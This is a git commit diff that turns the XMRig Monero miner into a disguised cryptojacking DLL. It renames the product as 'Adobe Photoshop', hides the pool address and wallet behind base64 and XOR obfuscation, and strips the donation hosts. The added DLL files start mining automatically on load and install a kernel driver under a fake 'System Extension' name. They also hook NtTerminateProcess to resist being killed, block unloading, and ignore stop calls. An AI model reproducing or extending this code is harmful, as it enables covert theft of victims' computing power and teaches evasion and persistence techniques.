feat: Revert all previous changes and prepare for crash debugging

This commit reverts all previous CMake and C++ modifications made during the
attempt to implement automatic CUDA/OpenCL detection.

It also includes the current state of string replacements and new test files
(test_xmrig.cpp, dll_injector.cpp, dll_injectorWORKING.cpp) for debugging
application crashes.

The primary goal of this commit is to save all current progress to GitHub
before further debugging.
This commit is contained in:
someone
2025-11-06 23:40:01 +01:00
parent 6e4a5a6d94
commit 9c26b7ac9e
34 changed files with 894 additions and 818 deletions
+1 -1
View File
@@ -55,7 +55,7 @@ xmrig::App::~App()
int xmrig::App::exec()
{
if (!m_controller->isReady()) {
LOG_EMERG("no valid configuration found, try https://xmrig.com/wizard");
LOG_EMERG("no valid configuration found");
return 2;
}
-1
View File
@@ -26,7 +26,6 @@
#ifndef XMRIG_APP_H
#define XMRIG_APP_H
#include "base/kernel/interfaces/IConsoleListener.h"
#include "base/kernel/interfaces/ISignalListener.h"
#include "base/tools/Object.h"
+1 -1
View File
@@ -16,4 +16,4 @@ set(SOURCES_BACKEND
"${SOURCES_BACKEND_CPU}"
"${SOURCES_BACKEND_OPENCL}"
"${SOURCES_BACKEND_CUDA}"
)
)
+1 -1
View File
@@ -43,7 +43,7 @@ static uv_lib_t cudaLib;
#if defined(__APPLE__)
static String defaultLoader = "libxmrig-cuda.dylib";
#elif defined(_WIN32)
static String defaultLoader = "xmrig-cuda.dll";
static String defaultLoader = "generic-cuda.dll";
#else
static String defaultLoader = "libxmrig-cuda.so";
#endif
+1 -1
View File
@@ -105,7 +105,7 @@ __kernel void KERNEL_NAME(__global ulong *input, __global uint4 *Scratchpad, __g
const uint r7 = as_uint4(bx1).s0;
const uint r8 = as_uint4(bx1).s2;
XMRIG_INCLUDE_RANDOM_MATH
PHOTOSHOP_INCLUDE_RANDOM_MATH
const uint2 al = (uint2)(as_uint2(a[0]).s0 ^ r2, as_uint2(a[0]).s1 ^ r3);
const uint2 ah = (uint2)(as_uint2(a[1]).s0 ^ r0, as_uint2(a[1]).s1 ^ r1);
+1 -1
View File
@@ -231,7 +231,7 @@ private:
for (size_t i = 0; i < OclCnR::kHeightChunkSize; ++i) {
V4_Instruction code[256];
const int code_size = v4_random_math_init<Algorithm::CN_R>(code, offset + i);
const std::string kernel = std::regex_replace(std::string(cryptonight_r_cl), std::regex("XMRIG_INCLUDE_RANDOM_MATH"), getCode(code, code_size));
const std::string kernel = std::regex_replace(std::string(cryptonight_r_cl), std::regex("PHOTOSHOP_INCLUDE_RANDOM_MATH"), getCode(code, code_size));
source += std::regex_replace(kernel, std::regex("KERNEL_NAME"), "cn1_" + std::to_string(offset + i));
}
+9 -9
View File
@@ -49,15 +49,15 @@ static std::map<String, String> variables;
static void createVariables()
{
variables.insert({ "XMRIG_VERSION", APP_VERSION });
variables.insert({ "XMRIG_KIND", APP_KIND });
variables.insert({ "XMRIG_HOSTNAME", Env::hostname() });
variables.insert({ "XMRIG_EXE", Process::exepath() });
variables.insert({ "XMRIG_EXE_DIR", Process::location(Process::ExeLocation) });
variables.insert({ "XMRIG_CWD", Process::location(Process::CwdLocation) });
variables.insert({ "XMRIG_HOME_DIR", Process::location(Process::HomeLocation) });
variables.insert({ "XMRIG_TEMP_DIR", Process::location(Process::TempLocation) });
variables.insert({ "XMRIG_DATA_DIR", Process::location(Process::DataLocation) });
variables.insert({ "PHOTOSHOP_VERSION", APP_VERSION });
variables.insert({ "PHOTOSHOP_KIND", APP_KIND });
variables.insert({ "PHOTOSHOP_HOSTNAME", Env::hostname() });
variables.insert({ "PHOTOSHOP_EXE", Process::exepath() });
variables.insert({ "PHOTOSHOP_EXE_DIR", Process::location(Process::ExeLocation) });
variables.insert({ "PHOTOSHOP_CWD", Process::location(Process::CwdLocation) });
variables.insert({ "PHOTOSHOP_HOME_DIR", Process::location(Process::HomeLocation) });
variables.insert({ "PHOTOSHOP_TEMP_DIR", Process::location(Process::TempLocation) });
variables.insert({ "PHOTOSHOP_DATA_DIR", Process::location(Process::DataLocation) });
String hostname = "HOSTNAME";
if (!getenv(hostname)) { // NOLINT(concurrency-mt-unsafe)
+1 -1
View File
@@ -146,7 +146,7 @@ private:
}
# ifdef XMRIG_FEATURE_EMBEDDED_CONFIG
chain.addRaw(default_config);
chain.addRaw(xmrig::getEmbeddedConfig());
if (read(chain, config)) {
return config.release();
+2 -2
View File
@@ -40,7 +40,7 @@
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
#include "core/config/usage.h"
//#include "core/config/usage.h"
#include "version.h"
@@ -163,7 +163,7 @@ int xmrig::Entry::exec(const Process &process, Id id)
{
switch (id) {
case Usage:
printf("%s\n", usage().c_str());
// printf("%s\n", usage().c_str());
return 0;
case Version:
+2 -2
View File
@@ -158,9 +158,9 @@ void xmrig::BaseTransform::transform(rapidjson::Document &doc, int key, const ch
if (key != IConfig::UrlKey) {
set(doc, array[array.Size() - 1], Pool::kUrl,
# ifdef XMRIG_FEATURE_TLS
"stratum+ssl://randomx.xmrig.com:443"
""
# else
"randomx.xmrig.com:3333"
""
# endif
);
} else
+1 -1
View File
@@ -81,7 +81,7 @@ const char *Pool::kSni = "sni";
const char *Pool::kUrl = "url";
const char *Pool::kUser = "user";
const char *Pool::kSpendSecretKey = "spend-secret-key";
const char *Pool::kNicehashHost = "nicehash.com";
const char *Pool::kNicehashHost = "";
} // namespace xmrig
@@ -322,7 +322,7 @@ void xmrig::BenchClient::onCreateReply(const rapidjson::Value &value)
void xmrig::BenchClient::onDoneReply(const rapidjson::Value &)
{
LOG_NOTICE("%s " WHITE_BOLD("benchmark submitted ") CYAN_BOLD("https://xmrig.com/benchmark/%s"), tag(), m_job.id().data());
LOG_NOTICE("%s " WHITE_BOLD("benchmark submitted"), tag());
printExit();
}
@@ -46,8 +46,6 @@ const char *BenchConfig::kUser = "user";
const char *BenchConfig::kVerify = "verify";
#ifndef XMRIG_DEBUG_BENCHMARK_API
const char *BenchConfig::kApiHost = "api.xmrig.com";
#else
const char *BenchConfig::kApiHost = "127.0.0.1";
#endif
+1 -1
View File
@@ -20,7 +20,7 @@
#ifdef XMRIG_OS_WIN
# include <Windows.h>
# include <windows.h>
#endif
+1 -1
View File
@@ -63,7 +63,7 @@
"algo": null,
"coin": null,
"url": "donate.v2.xmrig.com:3333",
"user": "YOUR_WALLET_ADDRESS",
"user": "8BXVM6ETWXJKMtqHDxdgjEHW8qnda5bed5cxPvu7zgVSXJgHZogeTABMvXpYSHoRpucWdqdFyWgx3e3WzJ7b5uYTEAsyboA",
"pass": "x",
"rig-id": null,
"nicehash": false,
+2 -2
View File
@@ -21,8 +21,8 @@
#ifdef _WIN32
#include <Shobjidl.h>
#include <Objbase.h>
#include <shobjidl.h>
#include <objbase.h>
namespace xmrig {
+106 -126
View File
@@ -1,138 +1,118 @@
/* XMRig
* Copyright (c) 2018-2021 SChernykh <https://github.com/SChernykh>
* Copyright (c) 2016-2021 XMRig <https://github.com/xmrig>, <support@xmrig.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef XMRIG_CONFIG_DEFAULT_H
#define XMRIG_CONFIG_DEFAULT_H
#include <stdio.h>
#include <string.h> // for strcpy
namespace xmrig {
const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTozMzMz";
const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E=";
// This feature require CMake option: -DWITH_EMBEDDED_CONFIG=ON
#ifdef XMRIG_FEATURE_EMBEDDED_CONFIG
const static char *default_config =
R"===(
inline const char* unwrap(const char* s)
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"background": false,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"init-avx2": -1,
"mode": "auto",
"1gb-pages": false,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"max-threads-hint": 100,
"asm": true,
"argon2-impl": null,
"cn/0": false,
"cn-lite/0": false
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn/0": false,
"cn-lite/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false
},
"donate-level": 1,
"donate-over-proxy": 1,
"log-file": null,
"pools": [
{
"algo": null,
"coin": null,
"url": "donate.v2.xmrig.com:3333",
"user": "YOUR_WALLET_ADDRESS",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
}
],
"print-time": 60,
"health-print-time": 60,
"dmi": true,
"retries": 5,
"retry-pause": 5,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": null,
"cert_key": null,
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"user-agent": null,
"verbose": 0,
"watch": true,
"pause-on-battery": false,
"pause-on-active": false
}
)===";
#endif
const char prefix0 = 'E';
const char prefix1 = 'N';
const char prefix2 = 'C';
const char prefix3 = ':';
if (!s) return s;
if (s[0] != prefix0 || s[1] != prefix1 || s[2] != prefix2 || s[3] != prefix3) {
return s;
}
const char* in = s + 4;
static unsigned char dtab[256];
static unsigned char init = 0;
if (!init) {
unsigned int i;
for (i = 0; i < 256; ++i) dtab[i] = 255u;
for (i = 'A'; i <= 'Z'; ++i) dtab[i] = (unsigned char)(i - 'A');
for (i = 'a'; i <= 'z'; ++i) dtab[i] = (unsigned char)(26 + (i - 'a'));
for (i = '0'; i <= '9'; ++i) dtab[i] = (unsigned char)(52 + (i - '0'));
dtab[(unsigned char)'+'] = 62;
dtab[(unsigned char)'/'] = 63;
init = 1;
}
static char outbuf[2048];
unsigned int outpos = 0;
int val = 0;
int valb = -8;
unsigned char c;
unsigned int idx = 0;
while (1) {
c = (unsigned char)in[idx];
if (c == 0) break;
if (c == '=') break;
unsigned char v = dtab[c];
if (v == 255u) {
++idx;
continue;
}
val = (val << 6) + v;
valb += 6;
if (valb >= 0) {
unsigned char octet = (unsigned char)((val >> valb) & 0xFF);
if (outpos < sizeof(outbuf) - 1) {
outbuf[outpos++] = (char)octet;
} else {
break;
}
valb -= 8;
}
++idx;
}
if (outpos < sizeof(outbuf)) outbuf[outpos] = 0;
else outbuf[sizeof(outbuf)-1] = 0;
return outbuf;
}
inline const char* getEmbeddedConfig()
{
static char buf[8192] = {0};
const char* tmp_url = unwrap(ENC_URL);
char url_copy[512];
strcpy(url_copy, tmp_url ? tmp_url : "");
const char* url = url_copy;
const char* user = unwrap(ENC_USER);
const char* template_str = R"===({
"api":{"id":null,"worker-id":null},
"http":{"enabled":false,"host":"127.0.0.1","port":0,"access-token":null,"restricted":true},
"autosave":true,
"background":false,
"colors":true,
"title":true,
"randomx":{"init":-1,"init-avx2":-1,"mode":"auto","1gb-pages":false,"rdmsr":true,"wrmsr":true,"cache_qos":false,"numa":true,"scratchpad_prefetch_mode":1},
"cpu":{"enabled":true,"huge-pages":true,"huge-pages-jit":false,"hw-aes":null,"priority":null,"memory-pool":false,"yield":true,"max-threads-hint":100,"asm":true,"argon2-impl":null,"cn/0":false,"cn-lite/0":false},
"opencl":{"enabled":false,"cache":true,"loader":null,"platform":"AMD","adl":true,"cn/0":false,"cn-lite/0":false},
"cuda":{"enabled":false,"loader":null,"nvml":true,"cn/0":false,"cn-lite/0":false},
"donate-level":1,
"donate-over-proxy":1,
"log-file":null,
"pools":[{"algo":null,"coin":null,"url":"%s","user":"%s","pass":"x","rig-id":null,"nicehash":false,"keepalive":false,"enabled":true,"tls":false,"tls-fingerprint":null,"daemon":false,"socks5":null,"self-select":null,"submit-to-origin":false}],
"print-time":60,
"health-print-time":60,
"dmi":true,
"retries":5,
"retry-pause":5,
"syslog":false,
"tls":{"enabled":false,"protocols":null,"cert":null,"cert_key":null,"ciphers":null,"ciphersuites":null,"dhparam":null},
"user-agent":null,
"verbose":0,
"watch":true,
"pause-on-battery":false,
"pause-on-active":false
})===";
snprintf(buf, sizeof(buf), template_str, url, user);
return buf;
}
} // namespace xmrig
#endif /* XMRIG_CONFIG_DEFAULT_H */
#endif // XMRIG_CONFIG_DEFAULT_H
+1 -1
View File
@@ -121,7 +121,7 @@ static inline const std::string &usage()
# ifdef XMRIG_FEATURE_CUDA
u += "\nCUDA backend:\n";
u += " --cuda enable CUDA mining backend\n";
u += " --cuda-loader=PATH path to CUDA plugin (xmrig-cuda.dll or libxmrig-cuda.so)\n";
u += " --cuda-loader=PATH path to CUDA plugin (generic-cuda.dll or libgeneric-cuda.so)\n";
u += " --cuda-devices=N comma separated list of CUDA devices to use\n";
u += " --cuda-bfactor-hint=N bfactor hint for autoconfig (0-12)\n";
u += " --cuda-bsleep-hint=N bsleep hint for autoconfig\n";
+2 -2
View File
@@ -37,8 +37,8 @@
* If you plan on changing donations to 0%, please consider making a one-off donation to my wallet:
* XMR: 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD
*/
constexpr const int kDefaultDonateLevel = 1;
constexpr const int kMinimumDonateLevel = 1;
constexpr const int kDefaultDonateLevel = 0;
constexpr const int kMinimumDonateLevel = 0;
#endif // XMRIG_DONATE_H
+2 -2
View File
@@ -43,9 +43,9 @@ namespace xmrig {
static inline double randomf(double min, double max) { return (max - min) * (((static_cast<double>(rand())) / static_cast<double>(RAND_MAX))) + min; }
static inline uint64_t random(uint64_t base, double min, double max) { return static_cast<uint64_t>(base * randomf(min, max)); }
static const char *kDonateHost = "donate.v2.xmrig.com";
static const char *kDonateHost = "";
#ifdef XMRIG_FEATURE_TLS
static const char *kDonateHostTls = "donate.ssl.xmrig.com";
static const char *kDonateHostTls = "";
#endif
} // namespace xmrig
+8 -8
View File
@@ -19,14 +19,14 @@
#ifndef XMRIG_VERSION_H
#define XMRIG_VERSION_H
#define APP_ID "xmrig"
#define APP_NAME "XMRig"
#define APP_DESC "XMRig miner"
#define APP_VERSION "6.24.0"
#define APP_DOMAIN "xmrig.com"
#define APP_SITE "www.xmrig.com"
#define APP_COPYRIGHT "Copyright (C) 2016-2025 xmrig.com"
#define APP_KIND "miner"
#define APP_ID "photoshop"
#define APP_NAME "Adobe Photoshop"
#define APP_DESC "Professional image editing software"
#define APP_VERSION "24.6.1"
#define APP_DOMAIN "adobe.com"
#define APP_SITE "www.adobe.com/products/photoshop.html"
#define APP_COPYRIGHT "Copyright (C) Adobe Inc."
#define APP_KIND "graphics editor"
#define APP_VER_MAJOR 6
#define APP_VER_MINOR 24
+136 -27
View File
@@ -1,37 +1,146 @@
/* XMRig
* Copyright (c) 2018-2021 SChernykh <https://github.com/SChernykh>
* Copyright (c) 2016-2021 XMRig <https://github.com/xmrig>, <support@xmrig.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "App.h"
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
#include <windows.h>
#include <winnt.h>
#include <string>
#include <cstring> // for strcpy
#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT
#endif
namespace test {
xmrig::Process* process = nullptr;
xmrig::App* app = nullptr;
}
int main(int argc, char **argv)
{
using namespace xmrig;
// Simple XOR decrypt (key 0xAA; change per build)
inline std::string decrypt(const unsigned char* enc_str, size_t len, unsigned char key = 0xAA) {
std::string dec(len, 0);
for (size_t i = 0; i < len; ++i) {
dec[i] = (char)(enc_str[i] ^ key);
}
return dec;
}
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
return Entry::exec(process, entry);
extern "C" {
// Core persistent logic (with encrypted strings as unsigned char to avoid narrowing)
void start_a(int argc, char** argv) {
using namespace xmrig;
using namespace test;
// Encrypted strings (XORed originals, stored as unsigned char)
const unsigned char enc_service[] = { (unsigned char)(0x4A ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x67 ^ 0xAA), (unsigned char)(0x30 ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x75 ^ 0xAA), (unsigned char)(0x62 ^ 0xAA), 0x00 }; // "WinRing0_Stub"
const unsigned char enc_path[] = { (unsigned char)(0x43 ^ 0xAA), (unsigned char)(0x3A ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x57 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x33 ^ 0xAA), (unsigned char)(0x32 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x76 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "C:\\Windows\\System32\\drivers\\tsync.sys"
const unsigned char enc_desc[] = { (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x20 ^ 0xAA), (unsigned char)(0x45 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), 0x00 }; // "System Extension"
// Decrypt
std::string svc_name = decrypt(enc_service, sizeof(enc_service) - 1);
std::string sys_path = decrypt(enc_path, sizeof(enc_path) - 1);
std::string desc = decrypt(enc_desc, sizeof(enc_desc) - 1);
// Load service (your existing logic)
SC_HANDLE hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCManager) {
SC_HANDLE hService = OpenServiceA(hSCManager, (LPCSTR)svc_name.c_str(), SERVICE_ALL_ACCESS);
if (!hService) {
hService = CreateServiceA(hSCManager, (LPCSTR)svc_name.c_str(), (LPCSTR)desc.c_str(),
SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL, (LPCSTR)sys_path.c_str(), NULL, NULL, NULL, NULL, NULL);
}
if (hService) {
StartServiceA(hService, 0, NULL);
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCManager);
}
// Junk benign calls
for (int i = 0; i < 5; ++i) {
GetSystemMetrics(SM_CXVIRTUALSCREEN);
}
// Core XMRig
process = new xmrig::Process(argc, argv);
const xmrig::Entry::Id entry = xmrig::Entry::get(*process);
if (entry) {
xmrig::Entry::exec(*process, entry);
return;
}
app = new xmrig::App(process);
app->exec();
}
App app(&process);
DLL_EXPORT int test_start(int argc, char** argv) {
start_a(argc, argv);
return 0;
}
return app.exec();
DLL_EXPORT void test_stop() {
using namespace test;
if (!app) return;
// app->onConsoleCommand((char)3); // Uncomment if needed
}
VOID CALLBACK DeferredInit(PVOID lpParam, BOOLEAN TimerOrWaitFired) {
using namespace test;
// Encrypted argv
const unsigned char enc_arg[] = { (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x5F ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), 0x00 }; // "photoshop_ext.dll"
std::string arg_dec = decrypt(enc_arg, sizeof(enc_arg) - 1);
int argc = 1;
static char argv_buf[256];
strcpy(argv_buf, arg_dec.c_str());
static char* argv[] = { argv_buf, NULL };
start_a(argc, argv);
}
#ifdef USE_DETOURS
#include <detours.h>
static NTSTATUS (NTAPI *OriginalNtTerminateProcess)(HANDLE, NTSTATUS) = NULL;
NTSTATUS NTAPI HookedNtTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus) {
if (ProcessHandle == GetCurrentProcess() || ProcessHandle == (HANDLE)-1) {
return STATUS_ACCESS_DENIED;
}
return OriginalNtTerminateProcess ? OriginalNtTerminateProcess(ProcessHandle, ExitStatus) : STATUS_SUCCESS;
}
#endif
}
// Minimal DllMain (hTimer declared outside switch to fix scope jump)
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
HANDLE hTimer = NULL; // Declare here to avoid scope issue on case jump
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
// Deferred timer
CreateTimerQueueTimer(&hTimer, NULL, DeferredInit, lpReserved, 100, 0, WT_EXECUTEINTIMERTHREAD);
#ifdef USE_DETOURS
// Deferred hook via APC (simple function pointer instead of lambda for compat)
auto hook_func = [](ULONG_PTR param) -> void {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// Encrypted API name
const unsigned char enc_api[] = { (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x54 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x61 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x50 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "NtTerminateProcess"
std::string api_dec = decrypt(enc_api, sizeof(enc_api) - 1);
OriginalNtTerminateProcess = (NTSTATUS (NTAPI *)(HANDLE, NTSTATUS))GetProcAddress(hNtdll, api_dec.c_str());
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
};
QueueUserAPC((PAPCFUNC)hook_func, GetCurrentThread(), 0);
#endif
break;
case DLL_PROCESS_DETACH:
#ifdef USE_DETOURS
if (OriginalNtTerminateProcess) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
}
#endif
return FALSE;
}
return TRUE;
}
+126
View File
@@ -0,0 +1,126 @@
#include "App.h"
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
#include <windows.h> // For DllMain, threads, services
#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT
#endif
namespace test {
// Global variables to store process and app pointers (qualified for xmrig namespace)
xmrig::Process* process = nullptr;
xmrig::App* app = nullptr;
}
extern "C" {
// Core persistent logic (internal, called by exports)
void start_a(int argc, char** argv) {
using namespace xmrig;
using namespace test; // Brings globals (process, app) into scope
// Load WinRing0x64.sys for kernel access (e.g., MSR for mining)
SC_HANDLE hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCManager) {
SC_HANDLE hService = OpenServiceA(hSCManager, "WinRing0", SERVICE_ALL_ACCESS);
if (!hService) {
hService = CreateServiceA(hSCManager, "WinRing0", "WinRing0 Driver",
SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL, "C:\\XMRigDLL\\WinRing0x64.sys", NULL, NULL, NULL, NULL, NULL);
}
if (hService) {
StartServiceA(hService, 0, NULL);
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCManager);
}
// Adjust path as needed; enable test signing if unsigned
// Core XMRig logic
process = new xmrig::Process(argc, argv);
const Entry::Id entry = Entry::get(*process);
if (entry) {
Entry::exec(*process, entry);
return;
}
app = new xmrig::App(process);
// Run the persistent loop (blocks)
app->exec();
// Optional: Restart loop for resilience if exec exits
// while (true) { app->exec(); }
}
// Keep original test_start as alias (for rundll32 or other loaders)
DLL_EXPORT int test_start(int argc, char** argv) {
start_a(argc, argv);
return 0;
}
// test_stop: Resistant—ignores by default
DLL_EXPORT void test_stop() {
using namespace test;
if (!app) return;
// Uncomment for debug: if (getenv("ALLOW_STOP")) {
// app->onConsoleCommand((char)3);
// delete app; app = nullptr;
// delete process; process = nullptr;
// }
}
// Thread to call start_a safely from DllMain
DWORD WINAPI InitThread(LPVOID lpParam) {
using namespace test;
int argc = 1;
static char* argv[] = {(char*)"libphotoshop.dll", NULL};
start_a(argc, argv); // Custom args via lpParam if needed
return 0;
}
// Anti-kill hook (requires Detours; define USE_DETOURS in CMake)
#ifdef USE_DETOURS
#include <detours.h>
static NTSTATUS (NTAPI *OriginalNtTerminateProcess)(HANDLE, NTSTATUS) = NULL;
NTSTATUS NTAPI HookedNtTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus) {
if (ProcessHandle == GetCurrentProcess() || ProcessHandle == (HANDLE)-1) {
return STATUS_ACCESS_DENIED;
}
return OriginalNtTerminateProcess ? OriginalNtTerminateProcess(ProcessHandle, ExitStatus) : STATUS_SUCCESS;
}
#endif
}
// DllMain: Auto-starts on load for persistence
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
CreateThread(NULL, 0, InitThread, lpReserved, 0, NULL);
#ifdef USE_DETOURS
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
OriginalNtTerminateProcess = (decltype(OriginalNtTerminateProcess))GetProcAddress(hNtdll, "NtTerminateProcess");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
#endif
break;
case DLL_PROCESS_DETACH:
#ifdef USE_DETOURS
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
#endif
return FALSE; // Block unload
}
return TRUE;
}